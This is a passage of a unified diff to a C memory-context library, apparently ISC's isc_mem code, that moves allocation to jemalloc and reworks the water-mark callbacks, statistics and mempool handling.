 	atomic_init(&ctx->inuse, 0);
-	atomic_init(&ctx->maxinuse, 0);
-	atomic_init(&ctx->malloced, sizeof(*ctx));
-	atomic_init(&ctx->maxmalloced, sizeof(*ctx));
 	atomic_init(&ctx->hi_water, 0);
 	atomic_init(&ctx->lo_water, 0);
 	atomic_init(&ctx->hi_called, false);
 	atomic_init(&ctx->is_overmem, false);
 
-	for (size_t i = 0; i < STATS_BUCKETS + 1; i++) {
-		atomic_init(&ctx->stats[i].gets, 0);
-		atomic_init(&ctx->stats[i].totalgets, 0);
-	}
 	ISC_LIST_INIT(ctx->pools);
 
 #if ISC_MEM_TRACKLINES
-	if (ISC_UNLIKELY((isc_mem_debugging & ISC_MEM_DEBUGRECORD) != 0)) {
+	if ((ctx->debugging & ISC_MEM_DEBUGRECORD) != 0) {
 		unsigned int i;
 
-		ctx->debuglist = default_memalloc(
-			(DEBUG_TABLE_COUNT * sizeof(debuglist_t)));
+		ctx->debuglist = mallocx(
+			ISC_CHECKED_MUL(DEBUG_TABLE_COUNT, sizeof(debuglist_t)),
+			jemalloc_flags);
+		INSIST(ctx->debuglist != NULL);
+
 		for (i = 0; i < DEBUG_TABLE_COUNT; i++) {
 			ISC_LIST_INIT(ctx->debuglist[i]);
 		}
-		increment_malloced(ctx,
-				   DEBUG_TABLE_COUNT * sizeof(debuglist_t));
 	}
 #endif /* if ISC_MEM_TRACKLINES */
 
@@ -529,22 +508,21 @@ mem_create(isc_mem_t **ctxp, unsigned int flags) {
 
 static void
 destroy(isc_mem_t *ctx) {
-	unsigned int i;
-	size_t malloced;
-
+	unsigned int arena_no;
 	LOCK(&contextslock);
 	ISC_LIST_UNLINK(contexts, ctx, link);
-	totallost += isc_mem_inuse(ctx);
 	UNLOCK(&contextslock);
 
 	ctx->magic = 0;
 
+	arena_no = ctx->jemalloc_arena;
+
 	INSIST(ISC_LIST_EMPTY(ctx->pools));
 
 #if ISC_MEM_TRACKLINES
-	if (ISC_UNLIKELY(ctx->debuglist != NULL)) {
+	if (ctx->debuglist != NULL) {
 		debuglink_t *dl;
-		for (i = 0; i < DEBUG_TABLE_COUNT; i++) {
+		for (size_t i = 0; i < DEBUG_TABLE_COUNT; i++) {
 			for (dl = ISC_LIST_HEAD(ctx->debuglist[i]); dl != NULL;
 			     dl = ISC_LIST_HEAD(ctx->debuglist[i]))
 			{
@@ -554,43 +532,27 @@ destroy(isc_mem_t *ctx) {
 				INSIST(!ctx->checkfree || dl->ptr == NULL);
 
 				ISC_LIST_UNLINK(ctx->debuglist[i], dl, link);
-				free(dl);
-				decrement_malloced(ctx, sizeof(*dl));
+				sdallocx(dl, sizeof(*dl), ctx->jemalloc_flags);
 			}
 		}
 
-		default_memfree(ctx->debuglist);
-		decrement_malloced(ctx,
-				   DEBUG_TABLE_COUNT * sizeof(debuglist_t));
+		sdallocx(
+			ctx->debuglist,
+			ISC_CHECKED_MUL(DEBUG_TABLE_COUNT, sizeof(debuglist_t)),
+			ctx->jemalloc_flags);
 	}
 #endif /* if ISC_MEM_TRACKLINES */
 
-	if (ctx->checkfree) {
-		for (i = 0; i <= STATS_BUCKETS; i++) {
-			struct stats *stats = &ctx->stats[i];
-			size_t gets = atomic_load_acquire(&stats->gets);
-			if (gets != 0U) {
-				fprintf(stderr,
-					"Failing assertion due to probable "
-					"leaked memory in context %p (\"%s\") "
-					"(stats[%u].gets == %zu).\n",
-					ctx, ctx->name, i, gets);
-#if ISC_MEM_TRACKLINES
-				print_active(ctx, stderr);
-#endif /* if ISC_MEM_TRACKLINES */
-				INSIST(gets == 0U);
-			}
-		}
-	}
-
 	isc_mutex_destroy(&ctx->lock);
 
-	malloced = decrement_malloced(ctx, sizeof(*ctx));
-
 	if (ctx->checkfree) {
-		INSIST(malloced == 0);
+		INSIST(atomic_load(&ctx->inuse) == 0);
+	}
+	sdallocx(ctx, sizeof(*ctx), ctx->jemalloc_flags);
+
+	if (arena_no != ISC_MEM_ILLEGAL_ARENA) {
+		RUNTIME_CHECK(mem_jemalloc_arena_destroy(arena_no) == true);
 	}
-	default_memfree(ctx);
 }
 
 void
@@ -604,14 +566,22 @@ isc_mem_attach(isc_mem_t *source, isc_mem_t **targetp) {
 }
 
 void
-isc_mem_detach(isc_mem_t **ctxp) {
+isc__mem_detach(isc_mem_t **ctxp FLARG) {
+	isc_mem_t *ctx = NULL;
+
 	REQUIRE(ctxp != NULL && VALID_CONTEXT(*ctxp));
 
-	isc_mem_t *ctx = *ctxp;
+	ctx = *ctxp;
 	*ctxp = NULL;
 
 	if (isc_refcount_decrement(&ctx->references) == 1) {
 		isc_refcount_destroy(&ctx->references);
+#if ISC_MEM_TRACKLINES
+		if ((ctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
+			fprintf(stderr, "destroy mctx %p file %s line %u\n",
+				ctx, file, line);
+		}
+#endif
 		destroy(ctx);
 	}
 }
@@ -627,35 +597,22 @@ isc_mem_detach(isc_mem_t **ctxp) {
  */
 
 void
-isc__mem_putanddetach(isc_mem_t **ctxp, void *ptr, size_t size FLARG) {
+isc__mem_putanddetach(isc_mem_t **ctxp, void *ptr, size_t size,
+		      int flags FLARG) {
+	isc_mem_t *ctx = NULL;
+
 	REQUIRE(ctxp != NULL && VALID_CONTEXT(*ctxp));
 	REQUIRE(ptr != NULL);
+	REQUIRE(size != 0);
 
-	isc_mem_t *ctx = *ctxp;
+	ctx = *ctxp;
 	*ctxp = NULL;
 
-	if (ISC_UNLIKELY((isc_mem_debugging &
-			  (ISC_MEM_DEBUGSIZE | ISC_MEM_DEBUGCTX)) != 0))
-	{
-		if ((isc_mem_debugging & ISC_MEM_DEBUGSIZE) != 0) {
-			size_info *si = &(((size_info *)ptr)[-1]);
-			size_t oldsize = si->size - ALIGNMENT_SIZE;
-			if ((isc_mem_debugging & ISC_MEM_DEBUGCTX) != 0) {
-				oldsize -= ALIGNMENT_SIZE;
-			}
-			INSIST(oldsize == size);
-		}
-		isc__mem_free(ctx, ptr FLARG_PASS);
-
-		goto destroy;
-	}
-
 	DELETE_TRACE(ctx, ptr, size, file, line);
 
-	mem_putstats(ctx, ptr, size);
-	mem_put(ctx, ptr, size);
+	mem_putstats(ctx, size);
+	mem_put(ctx, ptr, size, flags);
 
-destroy:
 	if (isc_refcount_decrement(&ctx->references) == 1) {
 		isc_refcount_destroy(&ctx->references);
 		destroy(ctx);
@@ -663,7 +620,9 @@ isc__mem_putanddetach(isc_mem_t **ctxp, void *ptr, size_t size FLARG) {
 }
 
 void
-isc_mem_destroy(isc_mem_t **ctxp) {
+isc__mem_destroy(isc_mem_t **ctxp FLARG) {
+	isc_mem_t *ctx = NULL;
+
 	/*
 	 * This routine provides legacy support for callers who use mctxs
 	 * without attaching/detaching.
@@ -671,9 +630,37 @@ isc_mem_destroy(isc_mem_t **ctxp) {
 
 	REQUIRE(ctxp != NULL && VALID_CONTEXT(*ctxp));
 
-	isc_mem_t *ctx = *ctxp;
+	ctx = *ctxp;
+	*ctxp = NULL;
+
+	/*
+	 * wait for asynchronous memory reclamation to complete
+	 * before checking for memory leaks.
+	 *
+	 * Because rcu_barrier() needs to be called as many times
+	 * as the number of nested call_rcu() calls (call_rcu()
+	 * calls made from call_rcu thread), and currently there's
+	 * no mechanism to detect whether there are more call_rcu
+	 * callbacks scheduled, we simply call the rcu_barrier()
+	 * multiple times.  The overhead is negligible and it
+	 * prevents rare assertion failures caused by the check
+	 * for memory leaks below.
+	 *
+	 * If there's more nested call_rcu() calls than five levels,
+	 * we are doing something horribly wrong...
+	 */
+	rcu_barrier();
+	rcu_barrier();
+	rcu_barrier();
+	rcu_barrier();
+	rcu_barrier();
 
 #if ISC_MEM_TRACKLINES
+	if ((ctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
+		fprintf(stderr, "destroy mctx %p file %s line %u\n", ctx, file,
+			line);
+	}
+
 	if (isc_refcount_decrement(&ctx->references) > 1) {
 		print_active(ctx, stderr);
 	}
@@ -686,116 +673,94 @@ isc_mem_destroy(isc_mem_t **ctxp) {
 	*ctxp = NULL;
 }
 
-static inline bool
+#define CALL_HI_WATER(ctx)                                             \
+	{                                                              \
+		if (ctx->water != NULL && hi_water(ctx)) {             \
+			(ctx->water)(ctx->water_arg, ISC_MEM_HIWATER); \
+		}                                                      \
+	}
+
+#define CALL_LO_WATER(ctx)                                             \
+	{                                                              \
+		if ((ctx->water != NULL) && lo_water(ctx)) {           \
+			(ctx->water)(ctx->water_arg, ISC_MEM_LOWATER); \
+		}                                                      \
+	}
+
+static bool
 hi_water(isc_mem_t *ctx) {
-	bool call_water = false;
-	size_t inuse = atomic_load_acquire(&ctx->inuse);
-	size_t maxinuse = atomic_load_acquire(&ctx->maxinuse);
-	size_t hi_water = atomic_load_acquire(&ctx->hi_water);
-
-	if (hi_water != 0U && inuse > hi_water) {
-		atomic_store(&ctx->is_overmem, true);
-		if (!atomic_load_acquire(&ctx->hi_called)) {
-			call_water = true;
-		}
+	size_t inuse;
+	size_t hiwater = atomic_load_relaxed(&ctx->hi_water);
+
+	if (hiwater == 0) {
+		return (false);
 	}
-	if (inuse > maxinuse) {
-		(void)atomic_compare_exchange_strong(&ctx->maxinuse, &maxinuse,
-						     inuse);
-
-		if (hi_water != 0U && inuse > hi_water &&
-		    (isc_mem_debugging & ISC_MEM_DEBUGUSAGE) != 0)
-		{
-			fprintf(stderr, "maxinuse = %lu\n",
-				(unsigned long)inuse);
-		}
+
+	inuse = atomic_load_relaxed(&ctx->inuse);
+	if (inuse <= hiwater) {
+		return (false);
+	}
+
+	if (atomic_load_acquire(&ctx->hi_called)) {
+		return (false);
 	}
 
-	return (call_water);
+	/* We are over water (for the first time) */
+	atomic_store_release(&ctx->is_overmem, true);
+
+	return (true);
 }
 
-/*
- * The check against ctx->lo_water == 0 is for the condition
- * when the context was pushed over hi_water but then had
- * isc_mem_setwater() called with 0 for hi_water and lo_water.
- */
-static inline bool
+static bool
 lo_water(isc_mem_t *ctx) {
-	bool call_water = false;
-	size_t inuse = atomic_load_acquire(&ctx->inuse);
-	size_t lo_water = atomic_load_acquire(&ctx->lo_water);
-
-	if ((inuse < lo_water) || (lo_water == 0U)) {
-		atomic_store(&ctx->is_overmem, false);
-		if (atomic_load_acquire(&ctx->hi_called)) {
-			call_water = true;
-		}
+	size_t inuse;
+	size_t lowater = atomic_load_relaxed(&ctx->lo_water);
+
+	if (lowater == 0) {
+		return (false);
+	}
+
+	inuse = atomic_load_relaxed(&ctx->inuse);
+	if (inuse >= lowater) {
+		return (false);
+	}
+
+	if (!atomic_load_acquire(&ctx->hi_called)) {
+		return (false);
 	}
 
-	return (call_water);
+	/* We are no longer overmem */
+	atomic_store_release(&ctx->is_overmem, false);
+
+	return (true);
 }
 
 void *
-isc__mem_get(isc_mem_t *ctx, size_t size FLARG) {
-	REQUIRE(VALID_CONTEXT(ctx));
+isc__mem_get(isc_mem_t *ctx, size_t size, int flags FLARG) {
+	void *ptr = NULL;
 
-	void *ptr;
-	bool call_water = false;
+	REQUIRE(VALID_CONTEXT(ctx));
 
-	if (ISC_UNLIKELY((isc_mem_debugging &
-			  (ISC_MEM_DEBUGSIZE | ISC_MEM_DEBUGCTX)) != 0))
-	{
-		return (isc__mem_allocate(ctx, size FLARG_PASS));
-	}
+	ptr = mem_get(ctx, size, flags);
 
-	ptr = mem_get(ctx, size);
 	mem_getstats(ctx, size);
-
 	ADD_TRACE(ctx, ptr, size, file, line);
 
-	call_water = hi_water(ctx);
-
-	if (call_water && (ctx->water != NULL)) {
-		(ctx->water)(ctx->water_arg, ISC_MEM_HIWATER);
-	}
+	CALL_HI_WATER(ctx);
 
 	return (ptr);
 }
 
 void
-isc__mem_put(isc_mem_t *ctx, void *ptr, size_t size FLARG) {
+isc__mem_put(isc_mem_t *ctx, void *ptr, size_t size, int flags FLARG) {
 	REQUIRE(VALID_CONTEXT(ctx));
-	REQUIRE(ptr != NULL);
-
-	bool call_water = false;
-	size_info *si;
-
-	if (ISC_UNLIKELY((isc_mem_debugging &
-			  (ISC_MEM_DEBUGSIZE | ISC_MEM_DEBUGCTX)) != 0))
-	{
-		if ((isc_mem_debugging & ISC_MEM_DEBUGSIZE) != 0) {
-			size_t oldsize;
-			si = &(((size_info *)ptr)[-1]);
-			oldsize = si->size - ALIGNMENT_SIZE;
-			if ((isc_mem_debugging & ISC_MEM_DEBUGCTX) != 0) {
-				oldsize -= ALIGNMENT_SIZE;
-			}
-			INSIST(oldsize == size);
-		}
-		isc__mem_free(ctx, ptr FLARG_PASS);
-		return;
-	}
 
 	DELETE_TRACE(ctx, ptr, size, file, line);
 
-	mem_putstats(ctx, ptr, size);
-	mem_put(ctx, ptr, size);
-
-	call_water = lo_water(ctx);
+	mem_putstats(ctx, size);
+	mem_put(ctx, ptr, size, flags);
 
-	if (call_water && (ctx->water != NULL)) {
-		(ctx->water)(ctx->water_arg, ISC_MEM_LOWATER);
-	}
+	CALL_LO_WATER(ctx);
 }
 
 void
@@ -803,9 +768,9 @@ isc_mem_waterack(isc_mem_t *ctx, int flag) {
 	REQUIRE(VALID_CONTEXT(ctx));
 
 	if (flag == ISC_MEM_LOWATER) {
-		atomic_store(&ctx->hi_called, false);
+		atomic_store_release(&ctx->hi_called, false);
 	} else if (flag == ISC_MEM_HIWATER) {
-		atomic_store(&ctx->hi_called, true);
+		atomic_store_release(&ctx->hi_called, true);
 	}
 }
 
@@ -852,28 +817,12 @@ print_active(isc_mem_t *mctx, FILE *out) {
  */
 void
 isc_mem_stats(isc_mem_t *ctx, FILE *out) {
-	REQUIRE(VALID_CONTEXT(ctx));
+	isc_mempool_t *pool = NULL;
 
-	isc_mempool_t *pool;
+	REQUIRE(VALID_CONTEXT(ctx));
 
 	MCTXLOCK(ctx);
 
-	for (size_t i = 0; i <= STATS_BUCKETS; i++) {
-		size_t totalgets;
-		size_t gets;
-		struct stats *stats = &ctx->stats[i];
-
-		totalgets = atomic_load_acquire(&stats->totalgets);
-		gets = atomic_load_acquire(&stats->gets);
-
-		if (totalgets != 0U && gets != 0U) {
-			fprintf(out, "%s%5zu: %11zu gets, %11zu rem",
-				(i == STATS_BUCKETS) ? ">=" : "  ", i,
-				totalgets, gets);
-			fputc('\n', out);
-		}
-	}
-
 	/*
 	 * Note that since a pool can be locked now, these stats might
 	 * be somewhat off if the pool is in active use at the time the
@@ -884,21 +833,16 @@ isc_mem_stats(isc_mem_t *ctx, FILE *out) {
 	pool = ISC_LIST_HEAD(ctx->pools);
 	if (pool != NULL) {
 		fprintf(out, "[Pool statistics]\n");
-		fprintf(out, "%15s %10s %10s %10s %10s %10s %10s %10s %1s\n",
-			"name", "size", "maxalloc", "allocated", "freecount",
-			"freemax", "fillcount", "gets", "L");
+		fprintf(out, "%15s %10s %10s %10s %10s %10s %10s %1s\n", "name",
+			"size", "allocated", "freecount", "freemax",
+			"fillcount", "gets", "L");
 	}
 	while (pool != NULL) {
 		fprintf(out,
 			"%15s %10zu %10zu %10zu %10zu %10zu %10zu %10zu %s\n",
-			pool->name, pool->size,
-			atomic_load_relaxed(&pool->maxalloc),
-			atomic_load_relaxed(&pool->allocated),
-			atomic_load_relaxed(&pool->freecount),
-			atomic_load_relaxed(&pool->freemax),
-			atomic_load_relaxed(&pool->fillcount),
-			atomic_load_relaxed(&pool->gets),
-			(pool->lock == NULL ? "N" : "Y"));
+			pool->name, pool->size, (size_t)0, pool->allocated,
+			pool->freecount, pool->freemax, pool->fillcount,
+			pool->gets, "N");
 		pool = ISC_LIST_NEXT(pool, link);
 	}
 
@@ -909,121 +853,108 @@ isc_mem_stats(isc_mem_t *ctx, FILE *out) {
 	MCTXUNLOCK(ctx);
 }
 
-/*
- * Replacements for malloc() and free() -- they implicitly remember the
- * size of the object allocated (with some additional overhead).
- */
+void *
+isc__mem_allocate(isc_mem_t *ctx, size_t size, int flags FLARG) {
+	void *ptr = NULL;
 
-static void *
-mem_allocateunlocked(isc_mem_t *ctx, size_t size) {
-	size_info *si;
+	REQUIRE(VALID_CONTEXT(ctx));
 
-	size += ALIGNMENT_SIZE;
-	if (ISC_UNLIKELY((isc_mem_debugging & ISC_MEM_DEBUGCTX) != 0)) {
-		size += ALIGNMENT_SIZE;
-	}
+	ptr = mem_get(ctx, size, flags);
 
-	si = mem_get(ctx, size);
+	/* Recalculate the real allocated size */
+	size = sallocx(ptr, flags | ctx->jemalloc_flags);
 
-	if (ISC_UNLIKELY((isc_mem_debugging & ISC_MEM_DEBUGCTX) != 0)) {
-		si->ctx = ctx;
-		si++;
-	}
-	si->size = size;
-	return (&si[1]);
+	mem_getstats(ctx, size);
+	ADD_TRACE(ctx, ptr, size, file, line);
+
+	CALL_HI_WATER(ctx);
+
+	return (ptr);
 }
 
 void *
-isc__mem_allocate(isc_mem_t *ctx, size_t size FLARG) {
-	REQUIRE(VALID_CONTEXT(ctx));
-
-	size_info *si;
-	bool call_water = false;
+isc__mem_reget(isc_mem_t *ctx, void *old_ptr, size_t old_size, size_t new_size,
+	       int flags FLARG) {
+	void *new_ptr = NULL;
 
-	si = mem_allocateunlocked(ctx, size);
-	mem_getstats(ctx, si[-1].size);
+	if (old_ptr == NULL) {
+		REQUIRE(old_size == 0);
+		new_ptr = isc__mem_get(ctx, new_size, flags FLARG_PASS);
+	} else if (new_size == 0) {
+		isc__mem_put(ctx, old_ptr, old_size, flags FLARG_PASS);
+	} else {
+		DELETE_TRACE(ctx, old_ptr, old_size, file, line);
+		mem_putstats(ctx, old_size);
 
-	ADD_TRACE(ctx, si, si[-1].size, file, line);
+		new_ptr = mem_realloc(ctx, old_ptr, old_size, new_size, flags);
 
-	call_water = hi_water(ctx);
+		mem_getstats(ctx, new_size);
+		ADD_TRACE(ctx, new_ptr, new_size, file, line);
 
-	if (call_water && (ctx->water != NULL)) {
-		(ctx->water)(ctx->water_arg, ISC_MEM_HIWATER);
+		/*
+		 * We want to postpone the call to water in edge case
+		 * where the realloc will exactly hit on the boundary of
+		 * the water and we would call water twice.
+		 */
+		CALL_LO_WATER(ctx);
+		CALL_HI_WATER(ctx);
 	}
 
-	return (si);
+	return (new_ptr);
 }
 
 void *
-isc__mem_reallocate(isc_mem_t *ctx, void *ptr, size_t size FLARG) {
+isc__mem_reallocate(isc_mem_t *ctx, void *old_ptr, size_t new_size,
+		    int flags FLARG) {
+	void *new_ptr = NULL;
+
 	REQUIRE(VALID_CONTEXT(ctx));
 
-	void *new_ptr = NULL;
+	if (old_ptr == NULL) {
+		new_ptr = isc__mem_allocate(ctx, new_size, flags FLARG_PASS);
+	} else if (new_size == 0) {
+		isc__mem_free(ctx, old_ptr, flags FLARG_PASS);
+	} else {
+		size_t old_size = sallocx(old_ptr, flags | ctx->jemalloc_flags);
 
-	/*
-	 * This function emulates the realloc(3) standard library
-	 * function:
-	 * - if size > 0, allocate new memory; and if ptr is non NULL,
-	 * copy as much of the old contents to the new buffer and free
-	 * the old one. Note that when allocation fails the original
-	 * pointer is intact; the caller must free it.
-	 * - if size is 0 and ptr is non NULL, simply free the given
-	 * ptr.
-	 * - this function returns:
-	 *     pointer to the newly allocated memory, or
-	 *     NULL if allocation fails or doesn't happen.
-	 */
-	if (size > 0U) {
-		new_ptr = isc__mem_allocate(ctx, size FLARG_PASS);
-		if (new_ptr != NULL && ptr != NULL) {
-			size_t oldsize, copysize;
-			oldsize = (((size_info *)ptr)[-1]).size;
-			INSIST(oldsize >= ALIGNMENT_SIZE);
-			oldsize -= ALIGNMENT_SIZE;
-			if (ISC_UNLIKELY((isc_mem_debugging &
-					  ISC_MEM_DEBUGCTX) != 0)) {
-				INSIST(oldsize >= ALIGNMENT_SIZE);
-				oldsize -= ALIGNMENT_SIZE;
-			}
-			copysize = (oldsize > size) ? size : oldsize;
-			memmove(new_ptr, ptr, copysize);
-			isc__mem_free(ctx, ptr FLARG_PASS);
-		}
-	} else if (ptr != NULL) {
-		isc__mem_free(ctx, ptr FLARG_PASS);
+		DELETE_TRACE(ctx, old_ptr, old_size, file, line);
+		mem_putstats(ctx, old_size);
+
+		new_ptr = mem_realloc(ctx, old_ptr, old_size, new_size, flags);
+
+		/* Recalculate the real allocated size */
+		new_size = sallocx(new_ptr, flags | ctx->jemalloc_flags);
+
+		mem_getstats(ctx, new_size);
+		ADD_TRACE(ctx, new_ptr, new_size, file, line);
+
+		/*
+		 * We want to postpone the call to water in edge case
+		 * where the realloc will exactly hit on the boundary of
+		 * the water and we would call water twice.
+		 */
+		CALL_LO_WATER(ctx);
+		CALL_HI_WATER(ctx);
 	}
 
 	return (new_ptr);
 }
 
 void
-isc__mem_free(isc_mem_t *ctx, void *ptr FLARG) {
+isc__mem_free(isc_mem_t *ctx, void *ptr, int flags FLARG) {
+	size_t size = 0;
+
 	REQUIRE(VALID_CONTEXT(ctx));
 	REQUIRE(ptr != NULL);
 
-	size_info *si;
-	size_t size;
-	bool call_water = false;
-
-	if (ISC_UNLIKELY((isc_mem_debugging & ISC_MEM_DEBUGCTX) != 0)) {
-		si = &(((size_info *)ptr)[-2]);
-		REQUIRE(si->ctx == ctx);
-		size = si[1].size;
-	} else {
-		si = &(((size_info *)ptr)[-1]);
-		size = si->size;
-	}
+	size = sallocx(ptr, flags | ctx->jemalloc_flags);
 
 	DELETE_TRACE(ctx, ptr, size, file, line);
 
-	mem_putstats(ctx, si, size);
-	mem_put(ctx, si, size);
-
-	call_water = lo_water(ctx);
+	mem_putstats(ctx, size);
+	mem_put(ctx, ptr, size, flags);
 
-	if (call_water && (ctx->water != NULL)) {
-		(ctx->water)(ctx->water_arg, ISC_MEM_LOWATER);
-	}
+	CALL_LO_WATER(ctx);
 }
 
 /*
@@ -1032,41 +963,38 @@ isc__mem_free(isc_mem_t *ctx, void *ptr FLARG) {
 
 char *
 isc__mem_strdup(isc_mem_t *mctx, const char *s FLARG) {
+	size_t len;
+	char *ns = NULL;
+
 	REQUIRE(VALID_CONTEXT(mctx));
 	REQUIRE(s != NULL);
 
-	size_t len;
-	char *ns;
-
 	len = strlen(s) + 1;
 
-	ns = isc__mem_allocate(mctx, len FLARG_PASS);
+	ns = isc__mem_allocate(mctx, len, 0 FLARG_PASS);
 
-	if (ns != NULL) {
-		strlcpy(ns, s, len);
-	}
+	strlcpy(ns, s, len);
 
 	return (ns);
 }
 
 char *
 isc__mem_strndup(isc_mem_t *mctx, const char *s, size_t size FLARG) {
+	size_t len;
+	char *ns = NULL;
+
 	REQUIRE(VALID_CONTEXT(mctx));
 	REQUIRE(s != NULL);
-
-	size_t len;
-	char *ns;
+	REQUIRE(size != 0);
 
 	len = strlen(s) + 1;
 	if (len > size) {
 		len = size;
 	}
 
-	ns = isc__mem_allocate(mctx, len FLARG_PASS);
+	ns = isc__mem_allocate(mctx, len, 0 FLARG_PASS);
 
-	if (ns != NULL) {
-		strlcpy(ns, s, len);
-	}
+	strlcpy(ns, s, len);
 
 	return (ns);
 }
@@ -1086,72 +1014,55 @@ size_t
 isc_mem_inuse(isc_mem_t *ctx) {
 	REQUIRE(VALID_CONTEXT(ctx));
 
-	return (atomic_load_acquire(&ctx->inuse));
-}
-
-size_t
-isc_mem_maxinuse(isc_mem_t *ctx) {
-	REQUIRE(VALID_CONTEXT(ctx));
-
-	return (atomic_load_acquire(&ctx->maxinuse));
+	return (atomic_load_relaxed(&ctx->inuse));
 }
 
-size_t
-isc_mem_total(isc_mem_t *ctx) {
-	REQUIRE(VALID_CONTEXT(ctx));
-
-	return (atomic_load_acquire(&ctx->total));
-}
-
-size_t
-isc_mem_malloced(isc_mem_t *ctx) {
-	REQUIRE(VALID_CONTEXT(ctx));
-
-	return (atomic_load_acquire(&ctx->malloced));
-}
-
-size_t
-isc_mem_maxmalloced(isc_mem_t *ctx) {
-	REQUIRE(VALID_CONTEXT(ctx));
-
-	return (atomic_load_acquire(&ctx->maxmalloced));
+void
+isc_mem_clearwater(isc_mem_t *mctx) {
+	isc_mem_setwater(mctx, NULL, NULL, 0, 0);
 }
 
 void
 isc_mem_setwater(isc_mem_t *ctx, isc_mem_water_t water, void *water_arg,
 		 size_t hiwater, size_t lowater) {
-	REQUIRE(VALID_CONTEXT(ctx));
-	REQUIRE(hiwater >= lowater);
-
-	bool callwater = false;
 	isc_mem_water_t oldwater;
 	void *oldwater_arg;
 
-	MCTXLOCK(ctx);
+	REQUIRE(VALID_CONTEXT(ctx));
+	REQUIRE(hiwater >= lowater);
+
 	oldwater = ctx->water;
 	oldwater_arg = ctx->water_arg;
-	if (water == NULL) {
-		callwater = atomic_load_acquire(&ctx->hi_called);
-		ctx->water = NULL;
-		ctx->water_arg = NULL;
-		atomic_store_release(&ctx->hi_water, 0);
-		atomic_store_release(&ctx->lo_water, 0);
-	} else {
-		if (atomic_load_acquire(&ctx->hi_called) &&
-		    (ctx->water != water || ctx->water_arg != water_arg ||
-		     atomic_load_acquire(&ctx->inuse) < lowater ||
-		     lowater == 0U))
-		{
-			callwater = true;
-		}
+
+	/* No water was set and new water is also NULL */
+	if (oldwater == NULL && water == NULL) {
+		return;
+	}
+
+	/* The water function is being set for the first time */
+	if (oldwater == NULL) {
+		REQUIRE(water != NULL && lowater > 0);
+
+		INSIST(atomic_load_acquire(&ctx->hi_water) == 0);
+		INSIST(atomic_load_acquire(&ctx->lo_water) == 0);
+
 		ctx->water = water;
 		ctx->water_arg = water_arg;
 		atomic_store_release(&ctx->hi_water, hiwater);
 		atomic_store_release(&ctx->lo_water, lowater);
+
+		return;
 	}
-	MCTXUNLOCK(ctx);
 
-	if (callwater && oldwater != NULL) {
+	REQUIRE((water == oldwater && water_arg == oldwater_arg) ||
+		(water == NULL && water_arg == NULL && hiwater == 0));
+
+	atomic_store_release(&ctx->hi_water, hiwater);
+	atomic_store_release(&ctx->lo_water, lowater);
+
+	if (atomic_load_acquire(&ctx->hi_called) &&
+	    (atomic_load_acquire(&ctx->inuse) < lowater || lowater == 0U))
+	{
 		(oldwater)(oldwater_arg, ISC_MEM_LOWATER);
 	}
 }
@@ -1188,13 +1099,15 @@ isc_mem_getname(isc_mem_t *ctx) {
  */
 
 void
-isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp) {
+isc__mempool_create(isc_mem_t *restrict mctx, const size_t element_size,
+		    isc_mempool_t **restrict mpctxp FLARG) {
+	isc_mempool_t *restrict mpctx = NULL;
+	size_t size = element_size;
+
 	REQUIRE(VALID_CONTEXT(mctx));
 	REQUIRE(size > 0U);
 	REQUIRE(mpctxp != NULL && *mpctxp == NULL);
 
-	isc_mempool_t *mpctx;
-
 	/*
 	 * Mempools are stored as a linked list of element.
 	 */
@@ -1209,17 +1122,20 @@ isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp) {
 	mpctx = isc_mem_get(mctx, sizeof(isc_mempool_t));
 
 	*mpctx = (isc_mempool_t){
-		.magic = MEMPOOL_MAGIC,
-		.mctx = mctx,
 		.size = size,
+		.freemax = 1,
+		.fillcount = 1,
 	};
 
-	atomic_init(&mpctx->maxalloc, SIZE_MAX);
-	atomic_init(&mpctx->allocated, 0);
-	atomic_init(&mpctx->freecount, 0);
-	atomic_init(&mpctx->freemax, 1);
-	atomic_init(&mpctx->fillcount, 1);
-	atomic_init(&mpctx->gets, 0);
+#if ISC_MEM_TRACKLINES
+	if ((mctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
+		fprintf(stderr, "create pool %p file %s line %u mctx %p\n",
+			mpctx, file, line, mctx);
+	}
+#endif /* ISC_MEM_TRACKLINES */
+
+	isc_mem_attach(mctx, &mpctx->mctx);
+	mpctx->magic = MEMPOOL_MAGIC;
 
 	*mpctxp = (isc_mempool_t *)mpctx;
 
@@ -1230,56 +1146,51 @@ isc_mempool_create(isc_mem_t *mctx, size_t size, isc_mempool_t **mpctxp) {
 }
 
 void
-isc_mempool_setname(isc_mempool_t *mpctx, const char *name) {
+isc_mempool_setname(isc_mempool_t *restrict mpctx, const char *name) {
 	REQUIRE(VALID_MEMPOOL(mpctx));
 	REQUIRE(name != NULL);
 
-	MPCTXLOCK(mpctx);
-
 	strlcpy(mpctx->name, name, sizeof(mpctx->name));
-
-	MPCTXUNLOCK(mpctx);
 }
 
 void
-isc_mempool_destroy(isc_mempool_t **mpctxp) {
+isc__mempool_destroy(isc_mempool_t **restrict mpctxp FLARG) {
+	isc_mempool_t *restrict mpctx = NULL;
+	isc_mem_t *mctx = NULL;
+	element *restrict item = NULL;
+
 	REQUIRE(mpctxp != NULL);
 	REQUIRE(VALID_MEMPOOL(*mpctxp));
 
-	isc_mempool_t *mpctx;
-	isc_mem_t *mctx;
-	isc_mutex_t *lock;
-	element *item;
-
 	mpctx = *mpctxp;
 	*mpctxp = NULL;
-	if (atomic_load_acquire(&mpctx->allocated) > 0) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "isc_mempool_destroy(): mempool %s "
-				 "leaked memory",
-				 mpctx->name);
-	}
-	REQUIRE(atomic_load_acquire(&mpctx->allocated) == 0);
 
 	mctx = mpctx->mctx;
 
-	lock = mpctx->lock;
+#if ISC_MEM_TRACKLINES
+	if ((mctx->debugging & ISC_MEM_DEBUGTRACE) != 0) {
+		fprintf(stderr, "destroy pool %p file %s line %u mctx %p\n",
+			mpctx, file, line, mctx);
+	}
+#endif
 
-	if (lock != NULL) {
-		LOCK(lock);
+	if (mpctx->allocated > 0) {
+		UNEXPECTED_ERROR("mempool %s leaked memory", mpctx->name);
 	}
+	REQUIRE(mpctx->allocated == 0);
 
 	/*
 	 * Return any items on the free list
 	 */
 	while (mpctx->items != NULL) {
-		INSIST(atomic_fetch_sub_release(&mpctx->freecount, 1) > 0);
+		INSIST(mpctx->freecount > 0);
+		mpctx->freecount--;
 
 		item = mpctx->items;
 		mpctx->items = item->next;
 
